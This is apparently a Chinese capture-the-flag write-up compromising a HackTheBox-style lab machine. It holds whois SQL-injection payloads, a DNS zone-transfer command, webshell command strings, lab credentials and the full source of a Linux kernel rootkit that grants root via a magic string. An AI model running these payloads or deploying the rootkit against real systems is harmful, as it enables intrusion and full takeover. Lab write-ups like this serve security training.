信息收集
Whois 服务器 SQL 注入
一开始刚拿到机器时,80 端口看了下用 IP 直接打开没有网站,FTP 21 端口也需要用户名密码才能登陆,都无果后,来看下他 43 端口的 whois 服务器。
whois 服务器一般是用来查询域名 whois 信息的,查询域名的注册商、注册时间等信息,随便输入一个试试
这里就给了我们两个信息:
- whois 服务器后端数据库是
MariaDB 10.1.37
- 给了我们一个域名
supersechosting.htb
用他给的 supersechosting.htb
域名进行查询能正常出结果,上面给的信息也说了,后端是 MariaDB 数据库,那么会不会有 SQL 注入呢?
在查询域名的后面加上了一个单引号,得到了一个在 web 上常见的数据库报错!那么就进行手工注入,列出所有的域名
whois -h 10.10.10.155 SUPERSECHOSTING.HTB\'\)or\ 1=1\#
通过该条查询,得到了以下域名
- SUPERSECHOSTING.HTB
- JUSTANOTHERBLOG.HTB
- PWNHATS.HTB
- RENTAHACKER.HTB
接下来随意查了一下数据库基本信息、数据库表以及数据库用户等信息备用
whois -h 10.10.10.155 "') union select user(),2#"
whois@localhost
whois -h 10.10.10.155 "') union select database(),2#"
whois
whois -h 10.10.10.155 "') union select (select group_concat(schema_name) from information_schema.schemata),2#"
information_schema,whois
whois -h 10.10.10.155 "') union select (select group_concat(table_name) from information_schema.tables where table_schema='whois'),2#"
customers
DNS 域传送漏洞 AXFR
DNS 域传送漏洞可以算得上是一个比较古老的漏洞了,如今大多数 DNS 服务器都不会犯这低级的错误
不了解 DNS 域传送漏洞的可以参考先知上的这篇文章,深入了解子域名挖掘tricks
通过该漏洞我们可以获得一个域名全部的解析记录,可以拿到子域名记录,对接下来的测试非常有帮助
攻击的命令也非常简单,只需要使用 dig
命令即可:
dig @10.10.10.155 supersechosting.htb axfr
依次对上一步收集到的四个域名进行攻击,拿到所有的解析记录,后续再慢慢进行使用
rentahacker.htb. 604800 IN SOA ns1.supersechosting.htb. root.supersechosting.htb. 4 604800 86400 2419200 604800
rentahacker.htb. 604800 IN NS ns1.supersechosting.htb.
rentahacker.htb. 604800 IN MX 10 mail1.rentahacker.htb.
rentahacker.htb. 604800 IN A 10.10.10.155
mail1.rentahacker.htb. 604800 IN A 10.10.10.155
sec03.rentahacker.htb. 604800 IN A 10.10.10.155
www.rentahacker.htb. 604800 IN A 10.10.10.155
rentahacker.htb. 604800 IN SOA ns1.supersechosting.htb. root.supersechosting.htb. 4 604800 86400 2419200 604800
supersechosting.htb. 604800 IN SOA ns1.supersechosting.htb. root.supersechosting.htb. 3 604800 86400 2419200 604800
supersechosting.htb. 604800 IN NS ns1.supersechosting.htb.
supersechosting.htb. 604800 IN MX 10 mail1.supersechosting.htb.
supersechosting.htb. 604800 IN A 10.10.10.155
ftp.supersechosting.htb. 604800 IN A 10.10.10.155
mail1.supersechosting.htb. 604800 IN A 10.10.10.155
ns1.supersechosting.htb. 604800 IN A 10.10.10.155
whois.supersechosting.htb. 604800 IN A 10.10.10.155
www.supersechosting.htb. 604800 IN A 10.10.10.155
supersechosting.htb. 604800 IN SOA ns1.supersechosting.htb. root.supersechosting.htb. 3 604800 86400 2419200 604800
justanotherblog.htb. 604800 IN SOA ns1.supersechosting.htb. root.supersechosting.htb. 5 604800 86400 2419200 604800
justanotherblog.htb. 604800 IN NS ns1.supersechosting.htb.
justanotherblog.htb. 604800 IN MX 10 mail1.justanotherblog.htb.
justanotherblog.htb. 604800 IN A 10.10.10.155
mail1.justanotherblog.htb. 604800 IN A 10.10.10.155
www.justanotherblog.htb. 604800 IN A 10.10.10.155
justanotherblog.htb. 604800 IN SOA ns1.supersechosting.htb. root.supersechosting.htb. 5 604800 86400 2419200 604800
pwnhats.htb. 604800 IN SOA ns1.supersechosting.htb. root.supersechosting.htb. 5 604800 86400 2419200 604800
pwnhats.htb. 604800 IN NS ns1.supersechosting.htb.
pwnhats.htb. 604800 IN MX 10 mail1.pwnhats.htb.
pwnhats.htb. 604800 IN A 10.10.10.155
mail1.pwnhats.htb. 604800 IN A 10.10.10.155
www.pwnhats.htb. 604800 IN A 10.10.10.155
pwnhats.htb. 604800 IN SOA ns1.supersechosting.htb. root.supersechosting.htb. 5 604800 86400 2419200 604800
Web - www.rentahacker.htb
一个 Wordpress 的博客,看上去是提供黑客租赁服务的
跑了跑没发现什么漏洞
首页关注到有几条评论,可以去看一看
看到有一个署名为「31173 HAXXOR team」的人发了一条评论,说管理员你被黑了,让去看一下「bug tracker」
那么很明显我们就要找到这个「bug tracker」,看看有什么发现
Web - www.supersechosting.htb
这个网站大概可以理解成是一个虚拟空间提供商的首页,告诉了我们一些信息
- 服务器提供 PHP 与 MySQL 环境
- 可以通过 ssh 以及 ftp 管理到网站
- 提供 dns 以及 whois 接口(这些我们已经用到了)
- 提供
.htb
域名注册,仅需 $4.95 每年(太贵了)
扫了一扫目录没有发现什么异常和值得关注的信息
/plugins (Status: 301)
/themes (Status: 301)
/content (Status: 301)
/assets (Status: 301)
/config (Status: 301)
/javascript (Status: 301)
/index (Status: 200)
/phpmyadmin (Status: 403)
/manual (Status: 301)
/vendor (Status: 301)
/0 (Status: 200)
/server-status (Status: 403)
/index.php (Status: 200)
/wp-forum.phps (Status: 403)
Web - www.justanotherblog.htb
看起来是一个还没有使用的网站,扫了一下放弃了,应该没有什么重要的东西
Web - sec03.rentahacker.htb
网站被挂了一个黑页,ID 和在博客留言的一致,这个网站应该就是之前说的那个被黑的「bug tracker」了
/login.php (Status: 200)
/index.php (Status: 302)
/search.php (Status: 302)
/index.html (Status: 200)
/.htaccess (Status: 403)
/view.php (Status: 200)
/signup.php (Status: 200)
/. (Status: 200)
/.html (Status: 403)
/.php (Status: 403)
/verify.php (Status: 200)
/.htpasswd (Status: 403)
/plugin.php (Status: 200)
/.htm (Status: 403)
/.htpasswds (Status: 403)
/account_delete.php (Status: 200)
/.htgroup (Status: 403)
/core.php (Status: 200)
/wp-forum.phps (Status: 403)
/wiki.php (Status: 200)
/.htaccess.bak (Status: 403)
/bug_report.php (Status: 200)
/main_page.php (Status: 302)
/shell.php (Status: 200)
/.htuser (Status: 403)
/login_page.php (Status: 200)
/news_rss.php (Status: 302)
/.htc (Status: 403)
/.ht (Status: 403)
扫了一下目录,随便访问了返回 200 的页面,可以知道这个域名下部署的是
MantisBT Bug Tracker
另外需要注意的是,有一个 shell.php
文件也返回了 200 状态码,目测可以执行命令
$ wfuzz -w /usr/share/wordlists/seclists-git/Discovery/Web-Content/raft-medium-words-lowercase.txt "http://sec03.rentahacker.htb/shell.php?FUZZ=ls"
000000868: 200 0 L 0 W 0 Ch "goods_script"
000000869: 200 225 L 225 W 4907 Ch "hidden"
000000871: 200 0 L 0 W 0 Ch "postinfo"
Fuzz 了一下,果然是 webshell,密码是 hidden
,这样就可以执行命令了,探测一下基本情况
view-source:http://sec03.rentahacker.htb/shell.php?hidden=ls%20-al%20../../
total 32
drwxr-xr-x 8 root root 4096 Dec 7 2018 .
drwxr-xr-x 22 root root 4096 Dec 4 2018 ..
drwx------ 4 ib01c01 customers 4096 Feb 1 2019 ib01c01
drwx------ 3 ib01c02 customers 4096 Dec 11 2018 ib01c02
drwx------ 4 ib01c03 customers 4096 Jan 30 2019 ib01c03
dr-xrwx--- 3 ib01ftp support 4096 Dec 10 2018 ib01ftp
drwx------ 3 ib01www support 4096 Dec 10 2018 ib01www
drwx------ 2 support support 4096 Feb 2 2019 support
view-source:http://sec03.rentahacker.htb/shell.php?hidden=id
uid=1003(ib01c03) gid=1004(customers) groups=1004(customers)
view-source:http://sec03.rentahacker.htb/shell.php?hidden=cat%20config/config_inc.php
<?php
$g_hostname = 'localhost';
$g_db_type = 'mysqli';
$g_database_name = 'ib01c03';
$g_db_username = 'ib01c03';
$g_db_password = 'Thi$sh1tIsN0tGut';
$g_default_timezone = 'Europe/Berlin';
$g_crypto_master_salt = 'DCD4OIydnPefp27q8Bu5TJHE2RfyO4Zit13B6zLfJdQ=';
这里拿到了一组数据库的用户名和密码:ib01c03 - Thi$sh1tIsN0tGut
在测试的过程中,发现机器不能主动连接到我们攻击机的端口上,应该是有 iptables 限制了外连,就只能用这个 webshell 操作了
继续看看有没有什么有用的信息,看到 /var/mail/ib01c03
有邮件
view-source:http://sec03.rentahacker.htb/shell.php?hidden=cat%20/var/mail/ib01c03
From support@ib01.supersechosting.htb Mon Dec 10 21:10:56 2018
Return-path: <support@ib01.supersechosting.htb>
Envelope-to: ib01c03@ib01.supersechosting.htb
Delivery-date: Mon, 10 Dec 2018 21:10:56 +0100
Received: from support by ib01.supersechosting.htb with local (Exim 4.89)
(envelope-from <support@ib01.supersechosting.htb>)
id 1gWRtI-0000ZK-8Q
for ib01c03@ib01.supersechosting.htb; Mon, 10 Dec 2018 21:10:56 +0100
To: <ib01c03@ib01.supersechosting.htb>
Subject: Re: Please help! Site Defaced!
In-Reply-To: Your message of Mon, 10 Dec 2018 21:04:49 +0100
<E1gWRnN-0000XA-44@ib01.supersechosting.htb>
References: <E1gWRnN-0000XA-44@ib01.supersechosting.htb>
X-Mailer: mail (GNU Mailutils 3.1.1)
Message-Id: <E1gWRtI-0000ZK-8Q@ib01.supersechosting.htb>
From: support <support@ib01.supersechosting.htb>
Date: Mon, 10 Dec 2018 21:10:56 +0100
X-IMAPbase: 1544472964 2
Status: O
X-UID: 1
>> Please we need your help. Our site has been defaced!
>> What we should do now?
>>
>> rentahacker.htb
Hi, we will check when possible. We are working on another incident right now. We just make a backup of the apache logs.
Please check if there is any strange file in your web root and upload it to the ftp server:
ftp.supersechosting.htb
user: ib01ftp
pass: YhgRt56_Ta
Thanks.
拿到了一组 FTP 的用户名和密码:ib01ftp - YhgRt56_Ta
另外根据邮件的内容,应该是网站站长发现被黑了之后联系系统管理员调查,系统管理员抓取了相关日志放在了 FTP 上面
FTP - ib01ftp
使用上一步拿到的 FTP 用户名和密码登陆,FTP 目录结构大致如下
.
└── incidents
├── ib01c01
│ ├── ib01c01.access.log
│ ├── ib01c01_incident.pcap
│ └── notes.txt
└── ib01c03
3 directories, 3 files
将全部文件拉下来本地进行分析
notes.txt,系统管理员说攻击者知道了有效的密码,成功登陆了系统进行了攻击
After checking the logs and the network capture, all points to that the attacker knows valid credentials and abused a recently discovered vuln to gain access to the server!
ib01c01.access.log,告诉了我们后台的路径:http://www.pwnhats.htb/admin530o6uisg/
10.0.2.19 - - [10/Dec/2018:21:51:00 +0100] "GET /admin530o6uisg/index.php?controller=AdminLogin&token=de267fd50b09d00b04cca76ff620b201 HTTP/1.1" 200 2787 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.0.2.19 - - [10/Dec/2018:21:51:00 +0100] "GET /admin530o6uisg/themes/default/css/overrides.css HTTP/1.1" 200 555 "http://www.pwnhats.htb/admin530o6uisg/index.php?controller=AdminLogin&token=de267fd50b09d00b04cca76ff620b201" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
...
流量包分析
ib01c01_incident.pcap,分析流量包,从中我们应该能找到后台的用户名和密码
使用以下过滤器,主要关注 POST 请求,因为登陆和执行等比较重要操作都是以 POST 来进行交互的
http.request.method == "POST"
从前两条记录中提取到了两组用户名和密码:
(登陆失败)
(登陆成功)
admin@pwnhats.htb - pwnhats.htb - 登陆失败
pwnhats@pwnhats.htb - GetYouAH4t! - 登陆成功
从第三个 POST 请求能看出来这个 web 系统大概的漏洞利用点在哪
另外继续分析这个流量包,从 tcp.stream eq 27
看上去攻击者试图去编译一个内核模块
继续往下看,从 tcp.stream eq 28
看到了这个内核模块的源码
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <asm/uaccess.h>
#include <linux/slab.h>
#include <linux/syscalls.h>
#include <linux/types.h>
#include <linux/cdev.h>
#include <linux/cred.h>
#include <linux/version.h>
#define DEVICE_NAME "ttyR0"
#define CLASS_NAME "ttyR"
#if LINUX_VERSION_CODE > KERNEL_VERSION(3,4,0)
#define V(x) x.val
#else
#define V(x) x
#endif
// Prototypes
static int __init root_init(void);
static void __exit root_exit(void);
static int root_open (struct inode *inode, struct file *f);
static ssize_t root_read (struct file *f, char *buf, size_t len, loff_t *off);
static ssize_t root_write (struct file *f, const char __user *buf, size_t len, loff_t *off);
// Module info
MODULE_LICENSE("GPL");
MODULE_AUTHOR("pico");
MODULE_DESCRIPTION("Got r00t!.");
MODULE_VERSION("0.1");
static int majorNumber;
static struct class* rootcharClass = NULL;
static struct device* rootcharDevice = NULL;
static struct file_operations fops =
{
.owner = THIS_MODULE,
.open = root_open,
.read = root_read,
.write = root_write,
};
static int
root_open (struct inode *inode, struct file *f)
{
return 0;
}
static ssize_t
root_read (struct file *f, char *buf, size_t len, loff_t *off)
{
return len;
}
static ssize_t
root_write (struct file *f, const char __user *buf, size_t len, loff_t *off)
{
char *data;
char magic[] = "g0tR0ot";
struct cred *new_cred;
data = (char *) kmalloc (len + 1, GFP_KERNEL);
if (data)
{
copy_from_user (data, buf, len);
if (memcmp(data, magic, 7) == 0)
{
if ((new_cred = prepare_creds ()) == NULL)
{
return 0;
}
V(new_cred->uid) = V(new_cred->gid) = 0;
V(new_cred->euid) = V(new_cred->egid) = 0;
V(new_cred->suid) = V(new_cred->sgid) = 0;
V(new_cred->fsuid) = V(new_cred->fsgid) = 0;
commit_creds (new_cred);
}
kfree(data);
}
return len;
}
static int __init
root_init(void)
{
// Create char device
if ((majorNumber = register_chrdev(0, DEVICE_NAME, &fops)) < 0)
{
return majorNumber;
}
// Register the device class
rootcharClass = class_create(THIS_MODULE, CLASS_NAME);
if (IS_ERR(rootcharClass))
{
unregister_chrdev(majorNumber, DEVICE_NAME);
return PTR_ERR(rootcharClass);
}
// Register the device driver
rootcharDevice = device_create(rootcharClass, NULL,
MKDEV(majorNumber, 0), NULL, DEVICE_NAME);
if (IS_ERR(rootcharDevice))
{
class_destroy(rootcharClass);
unregister_chrdev(majorNumber, DEVICE_NAME);
return PTR_ERR(rootcharDevice);
}
return 0;
}
static void __exit
root_exit(void)
{
// Destroy the device
device_destroy(rootcharClass, MKDEV(majorNumber, 0));
class_unregister(rootcharClass);
class_destroy(rootcharClass);
unregister_chrdev(majorNumber, DEVICE_NAME);
}
module_init(root_init);
module_exit(root_exit);
在谷歌搜索了一下 Got r00t!.
这个关键字,看到了这篇文章:Kernel RootKits. Getting your hands dirty - Malware - 0x00sec - The Home of the Hacker
大概知道了这个程序是一个内核后门,使用方法如下:
$ id
uid=1000(pico) gid=1000(pico) groups=1000(pico)
$ echo "g0tR0ot" > /dev/ttyR0
$ id
uid=0(root) gid=0(root) groups=0(root)
通过 webshell 查看 /dev/ttyR0
文件存在
尝试提权
失败了…想了想毕竟我们现在连 user.txt 都没拿到,怎么可能那么快就拿到 root.txt
Web - www.pwnhats.htb
该网站部署的是一个商城程序,根据页脚的提示可以知道是:PrestaShop
上面已经拿到了后台地址和密码,直接登陆看看
http://www.pwnhats.htb/admin530o6uisg/index.php
pwnhats@pwnhats.htb
GetYouAH4t!
(后台太太太太太太太卡了直接放弃登陆的想法)
FTP - ib01c01
上面我们知道网站提供 FTP 功能,并且也知道了 ib01c01 对应网站的管理员密码是 GetYouAH4t!
,那么有没有可能这个密码也是 ftp 的密码呢?
尝试使用 ib01c01 - GetYouAH4t!
登陆 FTP 帐号
成功了,并且也看到了我们所需要的 user.txt 文件
在查看目录的时候,我加上了 -a
列出所有文件,发现了一个奇怪的目录
发现了 /home/ib01c01/.../
目录,这很明显是一个故意隐藏的目录
进入后发现了内核后门模块
Kernel - root.ko
上面我们尝试了一次使用这个内核后门,但是失败了,原因可能是攻击者在编译之前修改了密码
将 root.ko
拉到本地,打开老女人(IDA)查看代码
可以看到程序对 magic 的值进行了多次的修改,(目的就是绕晕我们)
最终的 magic 的值应该是 g3tPr1v
,内核后门的利用方法就变成了:
echo "g3tPr1v" > /dev/ttyR0
觉得上面 IDA 截图思路不清晰的同学可以编译下面的程序进行测试,看看最终究竟是什么~
#include<stdio.h>
void main() {
char a[4];
char b[5];
char magic[8];
strcpy(a, "g3t");
strcpy(b, "Pr1v");
strcpy(magic, "g0tR0ot");
snprintf(magic, 8 uLL, "%s%s", a, b);
printf("%s", magic);
}
Root
回到一开始的 webshell,加持现在的内核后门,拿到 root 就不是一件难事,运行:
id;echo "g3tPr1v" > /dev/ttyR0;id
root 权限到手!
番外 - 为什么反弹不了 shell
有 root 权限之后我通过 iptables-save
拉了一下 iptables 规则
# Generated by iptables-save v1.6.0 on Sun May 24 17:36:37 2020
*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p icmp -j ACCEPT
-A INPUT -p udp -m udp --sport 53 -m u32 --u32 "0x1e=0x81000000:0x81ffffff" -j ACCEPT
-A INPUT -p tcp -m tcp --dport 20 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 21 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 25 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 43 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 53 -j ACCEPT
-A INPUT -p udp -m udp --dport 53 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -j REJECT --reject-with icmp-port-unreachable
-A OUTPUT -p icmp -j ACCEPT
-A OUTPUT -p udp -m udp --dport 53 -m u32 --u32 "0x1e=0x1000000:0x1ffffff" -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 20 -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
-A OUTPUT -p tcp -m state --state ESTABLISHED -j ACCEPT
-A OUTPUT -p udp -m state --state ESTABLISHED -j ACCEPT
-A OUTPUT -j REJECT --reject-with icmp-port-unreachable
COMMIT
# Completed on Sun May 24 17:36:37 2020
OUTPUT 链默认策略是 DROP 的,然后基本上就没设置什么允许主动发起出站的规则,这就是我们反弹 shell 反弹不了的原因